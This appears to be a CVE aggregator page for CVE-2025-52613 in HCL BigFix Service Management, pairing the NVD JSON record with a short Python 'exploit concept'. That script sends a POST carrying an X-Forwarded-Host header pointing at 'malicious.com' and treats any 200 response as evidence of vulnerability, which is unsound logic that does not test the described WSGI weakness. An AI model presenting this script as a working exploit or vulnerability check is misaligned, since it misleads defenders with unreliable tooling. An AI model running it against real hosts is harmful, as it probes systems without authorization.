CVE-2025-52613

import requests # Exploit concept for vulnerable WSGI server # This script attempts to send a malformed request often associated with WSGI parsing issues. target_url = "http://target-hcl-bigfix:8080" # Example payload: Host header injection or request smuggling attempt headers = { "User-Agent": "CVE-2025-52613-Test", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-Host": "malicious.com" } payload = "test=data" try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print("Response Headers:", response.headers) if response.status_code == 200: print("Potential vulnerability detected: Server accepted request.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2025-52613", "sourceIdentifier": "[email protected]", "published": "2026-05-06T15:16:08.247", "lastModified": "2026-05-07T14:59:40.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix Service Management (SM) is affected by use of a vulnerable WSGI Server was identified. Deploying an outdated or insecure WSGI server may expose the application to known security weaknesses, potentially increasing the risk of exploitation and unauthorized access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_service_management:23.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D915AC1-7C2B-497D-9A77-9726954B2282"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0128144", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}